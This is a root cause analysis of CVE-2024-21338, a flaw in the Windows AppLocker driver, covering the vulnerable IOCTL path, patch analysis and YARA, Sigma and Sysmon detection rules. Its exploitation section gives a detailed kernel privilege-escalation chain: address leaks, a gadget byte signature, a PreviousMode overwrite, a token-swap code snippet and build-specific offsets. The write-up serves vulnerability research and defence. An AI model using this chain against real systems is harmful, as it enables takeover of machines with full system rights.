# Root Cause Analysis — CVE-2024-21338

## Summary

| Field | Value |
|---|---|
| **CVE** | CVE-2024-21338 |
| **Binary** | appid.sys (Windows AppLocker Driver) |
| **Component** | AipSmartHashImageFile IOCTL handler (IOCTL 0x22A018) |
| **Bug Class** | Untrusted Pointer Dereference (CWE-822) |
| **Impact** | Elevation of Privilege → SYSTEM (admin-to-kernel) |
| **CVSS 3.1** | 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| **Exploited ITW** | Yes (Lazarus Group — FudModule rootkit, discovered by Avast) |
| **Patch** | February 2024 Patch Tuesday (KB5034765 Win11 23H2) |

## Vulnerability Overview

The Windows AppLocker driver (appid.sys) exposes an IOCTL handler at code 0x22A018
that processes user-supplied input buffers without proper validation. When the IOCTL
is dispatched, the driver calls `AipSmartHashImageFile` with the user-mode
SystemBuffer. This chains through `AppHashComputeFileHashesInternal` to
`AppHashComputeImageHashInternal`, where a function pointer from the user-controlled
buffer is dereferenced and called in kernel context. Since the function pointer is
attacker-controlled (subject to kCFG validation), this allows calling arbitrary
kCFG-registered kernel functions with partially controlled arguments.

## Root Cause — Untrusted Pointer Dereference in IOCTL Handler

### The IOCTL Dispatch Path

```
User-mode application
  → NtDeviceIoControlFile(\Device\AppID, IOCTL=0x22A018, SystemBuffer)
    → AipSmartHashImageFile(SystemBuffer)
      → AppHashComputeFileHashesInternal(...)
        → AppHashComputeImageHashInternal(...)  *** VULNERABLE ***
          → call [*(SystemBuffer+0x10)]  with rcx = *(SystemBuffer+0x00)
```

### The Vulnerable IOCTL Buffer Structure

The IOCTL 0x22A018 expects a buffer with the following layout:

```c
// Windows 10 layout (0x18 bytes)
typedef struct {
    PVOID FirstArg;               // +0x00: pointer → dereferenced once → rcx
    PVOID FileObjectPtr;          // +0x08: FILE_OBJECT address (for refcount)
    PVOID PtrToFunctionWrapper;   // +0x10: pointer to CFG_FUNCTION_WRAPPER
} AIP_SMART_HASH_IMAGE_FILE_W10;

// Windows 11 layout (0x20 bytes)
typedef struct {
    PVOID FirstArg;               // +0x00
    PVOID FileObjectPtr;          // +0x08
    PVOID PtrToFunctionWrapper;   // +0x10
    PVOID Unknown;                // +0x18 (NULL)
} AIP_SMART_HASH_IMAGE_FILE_W11;

typedef struct {
    PVOID FunctionPointer;        // kCFG-valid function address
} CFG_FUNCTION_WRAPPER;
```

### The Bug

In `AppHashComputeImageHashInternal`, the driver:

1. Reads the `PtrToFunctionWrapper` at offset +0x10 of SystemBuffer
2. Dereferences it to get a `FunctionPointer` (must pass kCFG validation)
3. Calls the function with the first argument derived from `*(SystemBuffer+0x00)`

The driver performs **no validation** that these pointers are safe or that the
function pointer points to an appropriate callback. Any kCFG-valid kernel function
can be called with a partially controlled first argument.

### Attacker Control

| What | How |
|---|---|
| **Function to call** | Set `PtrToFunctionWrapper` → `CFG_FUNCTION_WRAPPER.FunctionPointer` to any kCFG-valid address |
| **First argument (rcx)** | `FirstArg` (+0x00) is a pointer that gets dereferenced once — the value at `*FirstArg` becomes rcx |
| **FILE_OBJECT** | `FileObjectPtr` (+0x08) must point to a valid FILE_OBJECT for ObfDereferenceObjectWithTag refcount decrement |

## Exploitation Path (ITW — Lazarus Group)

### Step 1: Leak Kernel Addresses

Use `NtQuerySystemInformation(SystemHandleInformation)` to leak:
- Current thread's ETHREAD/KTHREAD kernel address (via pseudo-handle -2)
- Current process EPROCESS address
- SYSTEM process (PID 4) EPROCESS address
- FILE_OBJECT address (via a dummy file handle)

Use `NtQuerySystemInformation(SystemModuleInformation)` to get ntoskrnl.exe base address.

### Step 2: Find kCFG Gadget

Load ntoskrnl.exe in user-mode (`LoadLibraryExW`) and scan the PAGE section for the
`ExpProfileDelete` function signature:

```
40 53 48 83 EC 20 48 83 79 30 00 48 8B D9 74
```

Calculate the kernel-space address: `ntoskrnl_kernel_base + relative_offset`.

### Step 3: PreviousMode Modification

`ExpProfileDelete` is a kCFG-valid function that does:

```c
void ExpProfileDelete(__int64 a1) {
    if (*(QWORD*)(a1 + 0x30))  // check at offset +0x30
        ...
    if (*(QWORD*)a1)            // check at offset +0x00
        ObfDereferenceObjectWithTag(*(PVOID*)a1, 0x66507845);
}
```

`ObfDereferenceObjectWithTag` performs:
```asm
lock xadd qword ptr [rsi-0x30], rbx   ; atomically decrement refcount
```

By setting `FirstArg` to `(KTHREAD + 0x232 + 0x30)`, the chain:
1. `AppHashComputeImageHashInternal` calls `ExpProfileDelete(*(FirstArg))`
2. `ExpProfileDelete` skips the first `if` (offset +0x30 is zero in carefully crafted input)
3. `ExpProfileDelete` calls `ObfDereferenceObjectWithTag(*(*(FirstArg)), tag)`
4. The `lock xadd [rsi-0x30]` decrements the value at `KTHREAD+0x232` (PreviousMode)
5. PreviousMode changes from 1 (UserMode) to 0 (KernelMode)

### Step 4: Arbitrary Kernel R/W

With PreviousMode=0, `NtWriteVirtualMemory` and `NtReadVirtualMemory` skip user/kernel
address validation. The attacker can now read and write arbitrary kernel memory.

### Step 5: Token Swap

```c
// Copy SYSTEM token to current process
NtWriteVirtualMemory(GetCurrentProcess(),
    (EPROCESS + 0x4b8),          // current process Token field
    (SYSTEM_EPROCESS + 0x4b8),   // SYSTEM process Token field
    sizeof(ULONGLONG), &bytes);
```

### Step 6: Restore and Spawn

```c
// Restore PreviousMode to 1 (CRITICAL — else BSOD on process creation)
char restore = 1;
NtWriteVirtualMemory(GetCurrentProcess(),
    (KTHREAD + 0x232), &restore, sizeof(CHAR), &bytes);

// Now spawn cmd.exe with SYSTEM privileges
system("cmd.exe");
```

### Key Offsets (Windows 23H2, build 22631)

| Structure | Offset | Field |
|---|---|---|
| KTHREAD | +0x232 | PreviousMode |
| EPROCESS | +0x4b8 | Token |
| ExpProfileDelete | ntoskrnl+0xA01FD0 | kCFG gadget (build-specific) |

## Patch Analysis

The patch in appid.sys (February 2024, KB5034765) adds validation in the IOCTL
0x22A018 handler path:

1. **Buffer content validation**: `AipSmartHashImageFile` now validates that pointers
   within the SystemBuffer reference legitimate kernel objects before proceeding
2. **Pointer validation**: The driver verifies the function pointer wrapper points to
   an expected callback, not an arbitrary kCFG-valid function
3. **Access control**: Tighter checks on who can send this IOCTL to the AppLocker device

In BinDiff, `AipSmartHashImageFile` and `AppHashComputeImageHashInternal` show significant
new validation basic blocks (the functions grew substantially in the patched version).

## Reachability

- **Attack vector**: Local — requires code execution on the target
- **Privileges required**: Low (standard user can open `\Device\AppID`)
- **User interaction**: None
- **Prerequisites**:
  - AppLocker / Smart App Control service running (AppIDSvc)
  - appid.sys driver loaded
  - On many enterprise systems, AppLocker is enabled by default via Group Policy
- **Attack surface**:
  - Any local process can open a handle to `\\?\AppID` or `\Device\AppID`
  - The IOCTL 0x22A018 is accessible without special privileges

## Detection

### YARA — Exploit Artifacts

```yara
rule CVE_2024_21338_Exploit_Indicators
{
    meta:
        description = "Detects compiled exploit artifacts for CVE-2024-21338 appid.sys"
        cve         = "CVE-2024-21338"
        author      = "OnlyFm252"

    strings:
        $device1 = "\\Device\\AppID" wide
        $device2 = "\\\\?\\AppID" ascii
        $ioctl   = { 18 A0 22 00 }
        $pattern = { 40 53 48 83 EC 20 48 83 79 30 00 48 8B D9 74 }
        $ntqsi   = "NtQuerySystemInformation" ascii
        $ntdio   = "NtDeviceIoControlFile" ascii

    condition:
        uint16(0) == 0x5A4D and
        ($device1 or $device2) and
        $ioctl and
        ($pattern or ($ntqsi and $ntdio))
}
```

### Sigma — Suspicious AppLocker Driver IOCTL Access

```yaml
title: CVE-2024-21338 AppLocker Driver Exploitation Indicators
id: a7b8c9d0-e1f2-3456-7890-abcdef012345
status: experimental
description: >
    Detects potential exploitation of CVE-2024-21338 via suspicious handle
    creation to the AppID device and subsequent privilege escalation indicators.
author: OnlyFm252
date: 2026/07/26
references:
    - https://hakaisecurity.io/cve-2024-21338-from-admin-to-kernel-through-token-manipulation-and-windows-kernel-exploitation/research-blog/
    - https://hackyboiz.github.io/2025/01/12/l0ch/bypassing-kernel-mitigation-part2/en/
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21338
logsource:
    product: windows
    category: process_creation
detection:
    selection_parent:
        ParentImage|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
    selection_integrity:
        IntegrityLevel: 'System'
    filter_known_parents:
        ParentImage|startswith:
            - 'C:\Windows\System32\'
            - 'C:\Windows\SysWOW64\'
        ParentUser|contains: 'SYSTEM'
    condition: selection_parent and selection_integrity and not filter_known_parents
level: high
tags:
    - attack.privilege_escalation
    - attack.t1068
    - cve.2024.21338
```

### Sysmon Configuration

```xml
<Sysmon schemaversion="4.90">
  <EventFiltering>
    <!-- Event 1: Detect new processes with SYSTEM integrity from non-system parents -->
    <ProcessCreate onmatch="include">
      <IntegrityLevel condition="is">System</IntegrityLevel>
    </ProcessCreate>

    <!-- Event 7: Detect appid.sys driver load (ensure it's loaded = attack surface exists) -->
    <DriverLoad onmatch="include">
      <ImageLoaded condition="end with">\appid.sys</ImageLoaded>
    </DriverLoad>

    <!-- Event 10: Detect suspicious handle access to lsass/csrss after token swap -->
    <ProcessAccess onmatch="include">
      <TargetImage condition="end with">\lsass.exe</TargetImage>
      <GrantedAccess condition="is">0x1F0FFF</GrantedAccess>
    </ProcessAccess>
  </EventFiltering>
</Sysmon>
```

## References

- [Hakai Security — CVE-2024-21338: From Admin to Kernel](https://hakaisecurity.io/cve-2024-21338-from-admin-to-kernel-through-token-manipulation-and-windows-kernel-exploitation/research-blog/)
- [hackyboiz — Bypassing Windows Kernel Mitigations: Part 2](https://hackyboiz.github.io/2025/01/12/l0ch/bypassing-kernel-mitigation-part2/en/)
- [hakaioffsec — CVE-2024-21338 PoC](https://github.com/hakaioffsec/CVE-2024-21338)
- [Avast — Lazarus and the FudModule Rootkit](https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/)
- [MSRC Advisory — CVE-2024-21338](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21338)
